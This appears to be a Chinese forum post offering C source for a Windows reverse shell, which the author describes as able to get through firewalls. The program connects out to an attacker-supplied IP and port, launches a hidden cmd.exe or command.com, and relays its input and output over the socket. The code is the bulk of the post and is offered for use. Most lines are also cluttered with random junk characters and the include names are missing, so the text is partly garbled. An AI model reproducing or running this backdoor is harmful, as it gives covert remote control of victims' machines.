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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \VHi   
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/* ============================== uz>s2I}B  
Rebound port in Windows NT m{pL< g^M  
By wind,2006/7 R{!s%K&  
===============================*/ zq4,%$y8|  
#include ]!YzbvoR  
#include >+u5%5-wr  
W}Nd3  
#pragma comment(lib,"wsock32.lib") m oFK/5cJ  
5PKv@Mk  
void OutputShell(); ?j8CkqX!  
SOCKET sClient; 1Na CGD"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5y=X?hF~)  
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void main(int argc,char **argv) .Yha(5(  
{ feNr!/  
WSADATA stWsaData; QV{Nq=%]  
int nRet; <FS/'[P  
SOCKADDR_IN stSaiClient,stSaiServer; l:+tl/  
7X|&:V.s|  
if(argc != 3) kG?tgO?*  
{ jt3s;U*  
printf("Useage:\n\rRebound DestIP DestPort\n"); Mu Z\<;W$  
return; AKa{C f  
} #A:I|Q1$g  
L2{tof  
WSAStartup(MAKEWORD(2,2),&stWsaData); GgA =EdJn  
M*t@Q|$:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E'XF n'  
e{=7,DRH<  
stSaiClient.sin_family = AF_INET; &JfyXM[]  
stSaiClient.sin_port = htons(0); mWmDH74  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pl1:d{"d  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r}f -.Fo  
{ 5 Nl>4d`  
printf("Bind Socket Failed!\n"); ,:>>04O  
return; g'pE z  
} =C`v+NPM)|  
&[ 3y_,  
stSaiServer.sin_family = AF_INET; ]d$)G4X 1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Oq+C<}eg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V_+3@C  
gl]{mUZz}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c0Q`S"o+  
{ yc%AkhX*  
printf("Connect Error!"); gP/]05$e  
return; fD,#z&  
} 3XL0Pm  
OutputShell(); >kC@7h5)  
} eWwSD#N#  
kdxs{b"t  
void OutputShell() ,wX/cUyZ  
{ .WyI.Y1  
char szBuff[1024]; E8%O+x}  
SECURITY_ATTRIBUTES stSecurityAttributes; _$cQAH0 E  
OSVERSIONINFO stOsversionInfo; ,j&o H$mW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #7Qn\C2  
STARTUPINFO stStartupInfo; ,0-   
char *szShell; j{p0yuZ)<  
PROCESS_INFORMATION stProcessInformation; "<!|am(  
unsigned long lBytesRead; OEB_LI'  
{\]SvoJnJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mT!~;] RrF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  sGdt)  
stSecurityAttributes.lpSecurityDescriptor = 0;  .':SD{  
stSecurityAttributes.bInheritHandle = TRUE; _9L2JN$R6  
?:U6MjlQ"{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &2QN^)q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rycscE4,  
2a? d:21 B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \BJnJk!%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D;Az>]>q  
stStartupInfo.wShowWindow = SW_HIDE; UKX'A)$  
stStartupInfo.hStdInput = hReadPipe; G4g },p!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bzUc;&WDz  
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GetVersionEx(&stOsversionInfo); T*YdGIFO  
l8^^ O   
switch(stOsversionInfo.dwPlatformId) r43dnwX  
{ |nm,5gPNC  
case 1: }O o  
szShell = "command.com"; zlSwKd(  
break; <Xl G:nmY  
default: H2k>E}`  
szShell = "cmd.exe"; !_x-aro3<  
break; xss D2*l  
} apw8wL2  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j5$Sm  
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send(sClient,szMsg,77,0); F'SOl*v(s5  
while(1)  61gZZM  
{ V]vk9M2q[l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `^_.E:f  
if(lBytesRead) A;2?!i#f  
{ F}sfk}rp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [0J0<JnK  
send(sClient,szBuff,lBytesRead,0); DVpqm6$ Q  
} \UNw43EL  
else n'M}6XUw  
{ :+[q `  
lBytesRead=recv(sClient,szBuff,1024,0); 9KAXc(-  
if(lBytesRead<=0) break; ^[qmELW#7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :SYg)|s  
} gVZ~OcB!W  
} NEJ Nu_Z  
^-=,q.[7  
return; RQe#X6'h  
}
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